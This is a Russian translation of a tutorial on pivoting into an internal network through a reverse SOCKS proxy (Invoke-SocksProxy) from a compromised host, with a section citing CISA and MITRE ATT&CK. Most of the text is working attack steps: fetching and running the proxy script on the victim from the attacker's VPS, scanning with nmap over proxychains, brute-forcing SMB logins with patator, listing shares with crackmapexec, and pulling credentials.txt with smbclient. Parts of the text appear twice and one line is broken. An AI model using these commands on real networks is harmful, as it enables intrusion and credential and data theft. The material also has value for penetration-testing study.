Автор оригинала: TOKYONEON
Поскольку обратные прокси-серверы могут обходить ограничения брандмауэра на входящий трафик, злоумышленники, планирующие APT, используют их для pivot-атак на защищенные среды. К примеру, не так давно жертвой такой атаки стала корпоративная сеть федерального агентства. Злоумышленники использовали модификацию Invoke-SocksProxy — скрипта с открытым исходным кодом для работы с обратными прокси, который можно найти на GitHub. Вот что пишет по этому поводу Агентство по кибербезопасности и инфраструктуре (СISA): Злоумышленник установил Persistence и C2 в сети жертвы через постоянный туннель SSH/обратный прокси-сервер SOCKS… Скрипт PowerShell [Invoke-SocksProxy.ps1] создал обратный прокси-сервер SMB SOCKS, который разрешил устанавливать соединения между управляемым злоумышленником VPS… и файловым сервером организации, выбранной в качестве жертвы… Invoke-SocksProxy.ps1 создает обратный прокси-сервер между локальным устройством и инфраструктурой хакера…
Злоумышленники могут использовать прокси-сервер для направления сетевого трафика между системами или выступать посредником в передаче данных по сети... чтобы не позволить напрямую подключиться к своей инфраструктуре... Злоумышленники используют эти типы прокси-серверов для управления инфраструктурой C2 [или] для уменьшения количества одновременных исходящих сетевых подключений… Злоумышленники могут объединить несколько прокси-серверов в цепочку, чтобы тщательнее замаскировать источник вредоносного трафика…
В данном примере скомпрометированный хост подключается к виртуальному выделенному серверу (VPS) злоумышленника с помощью прослушивания через утилиту Netcat по TCP/4444 (как показано ниже). Соединение Netcat должно оставаться открытым — это будет важно на более позднем этапе.
В Kali запускаем новый терминал и подключаемся по SSH к VPS. С помощью команды su получаем оболочку с привилегиями root.
Используя приведенную ниже команду, копируем наш архив Invoke-SocksProxy. В нем два файла: ReverseSocksProxyHandler.py и Invoke-SocksProxy.ps1.
root@vps > cd /opt; git clone https://github.com/tokyoneon/Invoke-SocksProxy
Скрипт ReverseSocksProxyHandler.py откроет порты 443 и 1337. Порт 443 будет принимать входящие соединения от хоста A. Порт 1337 будет работать как порт прокси-сервера, настроенный с помощью proxychains в Kali. При выполнении появится следующий результат. Терминал всё время атаки должен оставаться открытым.
Скрипт Invoke-SocksProxy.ps1 должен быть запущен на скомпрометированном хосте. Повторно запускаем новый терминал в Kali и подключаемся по SSH к VPS. В Invoke-SocksProxy.ps1 меняем жестко запрограммированный адрес VPS в Invoke-SocksProxy.ps1 и размещаем его на HTTP-сервере (например, Apache, Nginx или http.server).
На терминале Netcat переходим в каталог $env
EMP на хосте A. Затем загружаем с VPS Invoke-SocksProxy.ps1 и запускаем его. Он не будет выводить данные и должен оставаться открытым. Чтобы автоматизировать выполнение реального сценария, злоумышленник может использовать запланированные задания. Оставим терминал открытым — так будет легче понять, что происходит.
В Kali устанавливаем proxychains4 и редактируем файл /etc/proxychains4.conf. В конце файла конфигурации прописываем адрес VPS и порт 1337.
Вот и всё, атака подготовлена. С помощью ReverseSocksProxyHandler и Invoke-SocksProxy, запущенных на VPS и хосте A, можно атаковать внутреннюю сеть через прокси.
Нижеописанная команда Nmap выполнит сканирование с использованием TCP-соединений (-sT), не обнаруживая при этом хосты (-Pn) и не выполняя разрешение DNS имен (-n). Эти аргументы необходимы для использования Nmap с Proxychains. Обратите внимание на SMB-сервер на 172.16.0.4:445 и HTTP-сервер на 172.16.0.115:80.
Чтобы проксировать атаки методом перебора, используем приведенную ниже команду patator. Сообщения Proxychains будут конфликтовать с сообщениями, выводимыми Patator; чтобы их блокировать, используем аргумент -q. Обратите внимание на пароль ("Passw0rd!"), обнаруженный во время атаки.
Чтобы просмотреть общие ресурсы на скомпрометированном сервере SMB, используем приведенную ниже команду crackmapexec, вставив обнаруженный пароль. Обратите внимание на общий ресурс "Private" с разрешениями на чтение и запись.
Чтобы получить доступ к его содержимому, используем команду smbclient для просмотра желаемого каталога (в данном случае "/Private"). Обратите внимание на файл credentials.txt в общей папке. В smbclient используем команду get, чтобы получить файл и сохранить его локально в Kali.
Точно так же аналогичные команды proxychains предоставляют доступ к HTTP-серверам. Однако в Firefox есть встроенные функции, благодаря которым удобнее взаимодействовать с прокси.
Открываем Firefox в Kali, переходим в меню: Настройки > Параметры сети > Настроить и настраиваем IP-адрес и порт VPS в разделе SOCKS Host (узел SOCKS) (как показано ниже). Нажимаем ОК, чтобы сохранить конфигурацию.
Затем открываем новую вкладку и заходим на любой HTTP-сервер во внутренней сети (например, 172.16.0.115:80).
Судя по журналам HTTP-сервера на 172.16.0.115, запросы, исходят от 172.16.0.3 (хост A), то есть скомпрометированного хоста.
Поскольку обратные прокси-серверы могут обходить ограничения брандмауэра на входящий трафик, злоумышленники, планирующие APT, используют их для pivot-атак на защищенные среды. К примеру, не так давно жертвой такой атаки стала корпоративная сеть федерального агентства. Злоумышленники использовали модификацию Invoke-SocksProxy — скрипта с открытым исходным кодом для работы с обратными прокси, который можно найти на GitHub. Вот что пишет по этому поводу Агентство по кибербезопасности и инфраструктуре (СISA): Злоумышленник установил Persistence и C2 в сети жертвы через постоянный туннель SSH/обратный прокси-сервер SOCKS… Скрипт PowerShell [Invoke-SocksProxy.ps1] создал обратный прокси-сервер SMB SOCKS, который разрешил устанавливать соединения между управляемым злоумышленником VPS… и файловым сервером организации, выбранной в качестве жертвы… Invoke-SocksProxy.ps1 создает обратный прокси-сервер между локальным устройством и инфраструктурой хакера…
Что такое обратный прокси-сервер?
Согласно определению MITER ATT & CK Framework:Злоумышленники могут использовать прокси-сервер для направления сетевого трафика между системами или выступать посредником в передаче данных по сети... чтобы не позволить напрямую подключиться к своей инфраструктуре... Злоумышленники используют эти типы прокси-серверов для управления инфраструктурой C2 [или] для уменьшения количества одновременных исходящих сетевых подключений… Злоумышленники могут объединить несколько прокси-серверов в цепочку, чтобы тщательнее замаскировать источник вредоносного трафика…
Настройка атаки
Топология сети включает несколько локально подключенных устройств (172.16.0.1/24). Для простоты понимания предположим, что злоумышленник установил обратную оболочку на хосте A (172.16.0.3) с вредоносным документом Word (см. ниже). При таком уровне компрометации система Kali злоумышленника не может напрямую взаимодействовать с серверами SMB и HTTP. Его цель — обнаружить службы на 172.16.0.1/24 при использовании хоста A в качестве прокси.
В данном примере скомпрометированный хост подключается к виртуальному выделенному серверу (VPS) злоумышленника с помощью прослушивания через утилиту Netcat по TCP/4444 (как показано ниже). Соединение Netcat должно оставаться открытым — это будет важно на более позднем этапе.
В Kali запускаем новый терминал и подключаемся по SSH к VPS. С помощью команды su получаем оболочку с привилегиями root.
Используя приведенную ниже команду, копируем наш архив Invoke-SocksProxy. В нем два файла: ReverseSocksProxyHandler.py и Invoke-SocksProxy.ps1.
root@vps > cd /opt; git clone https://github.com/tokyoneon/Invoke-SocksProxy
Скрипт ReverseSocksProxyHandler.py откроет порты 443 и 1337. Порт 443 будет принимать входящие соединения от хоста A. Порт 1337 будет работать как порт прокси-сервера, настроенный с помощью proxychains в Kali. При выполнении появится следующий результат. Терминал всё время атаки должен оставаться открытым.
Код:
root@vps> cd /opt /Invoke-SocksProxy;./ReverseSocksProxyHandler.py
Скрипт Invoke-SocksProxy.ps1 должен быть запущен на скомпрометированном хосте. Повторно запускаем новый терминал в Kali и подключаемся по SSH к VPS. В Invoke-SocksProxy.ps1 меняем жестко запрограммированный адрес VPS в Invoke-SocksProxy.ps1 и размещаем его на HTTP-сервере (например, Apache, Nginx или http.server).
На терминале Netcat переходим в каталог $env
Код:
Ps > cd $env:TEMP
Ps > iwr 192.168.56.102/Invoke-SocksProxy.ps1 -outfile isp.ps1
Ps > .\isp.ps1
В Kali устанавливаем proxychains4 и редактируем файл /etc/proxychains4.conf. В конце файла конфигурации прописываем адрес VPS и порт 1337.
Код:
sudo apt-get install -y proxychains4 && sudo nano /etc/proxychains4.conf
Вот и всё, атака подготовлена. С помощью ReverseSocksProxyHandler и Invoke-SocksProxy, запущенных на VPS и хосте A, можно атаковать внутреннюю сеть через прокси.
Прокси Nmap и Crackmapexec с Proxychains
При использовании Nmap с Proxychains нужно помнить о некоторых ограничениях. Например, у Nmap не получится обнаружить хост — утилита не сможет выполнить "пингование" (ICMP) через SOCKS5. Несмотря на это, обнаруживать службы и порты она будет по-прежнему эффективно (хотя и не так быстро, поскольку нужно будет полностью сканировать TCP).Нижеописанная команда Nmap выполнит сканирование с использованием TCP-соединений (-sT), не обнаруживая при этом хосты (-Pn) и не выполняя разрешение DNS имен (-n). Эти аргументы необходимы для использования Nmap с Proxychains. Обратите внимание на SMB-сервер на 172.16.0.4:445 и HTTP-сервер на 172.16.0.115:80.
Код:
proxychains nmap -sT -Pn -n -p445,139,88,80 172.16.0.4,115
Чтобы проксировать атаки методом перебора, используем приведенную ниже команду patator. Сообщения Proxychains будут конфликтовать с сообщениями, выводимыми Patator; чтобы их блокировать, используем аргумент -q. Обратите внимание на пароль ("Passw0rd!"), обнаруженный во время атаки.
Код:
proxychains -q patator smb_login host=172.16.0.4 port=445 user=victim2 password=FILE0 0=/usr/share/wordlists/nmap.lst -t 1 -x ignore:mesg=’STATUS_LOGON_FAILURE’
Чтобы просмотреть общие ресурсы на скомпрометированном сервере SMB, используем приведенную ниже команду crackmapexec, вставив обнаруженный пароль. Обратите внимание на общий ресурс "Private" с разрешениями на чтение и запись.
Код:
proxychains crackmapexec smb 172.16.0.4 -u ‘victim2’ -p ‘Passw0rd!’ –shares
Чтобы получить доступ к его содержимому, используем команду smbclient для просмотра желаемого каталога (в данном случае "/Private"). Обратите внимание на файл credentials.txt в общей папке. В smbclient используем команду get, чтобы получить файл и сохранить его локально в Kali.
Код:
proxychains smbclient //172.16.0.4/Private -U ‘victim2%Passw0rd!’
Точно так же аналогичные команды proxychains предоставляют доступ к HTTP-серверам. Однако в Firefox есть встроенные функции, благодаря которым удобнее взаимодействовать с прокси.
Открываем Firefox в Kali, переходим в меню: Настройки > Параметры сети > Настроить и настраиваем IP-адрес и порт VPS в разделе SOCKS Host (узел SOCKS) (как показано ниже). Нажимаем ОК, чтобы сохранить конфигурацию.
Затем открываем новую вкладку и заходим на любой HTTP-сервер во внутренней сети (например, 172.16.0.115:80).
Судя по журналам HTTP-сервера на 172.16.0.115, запросы, исходят от 172.16.0.3 (хост A), то есть скомпрометированного хоста.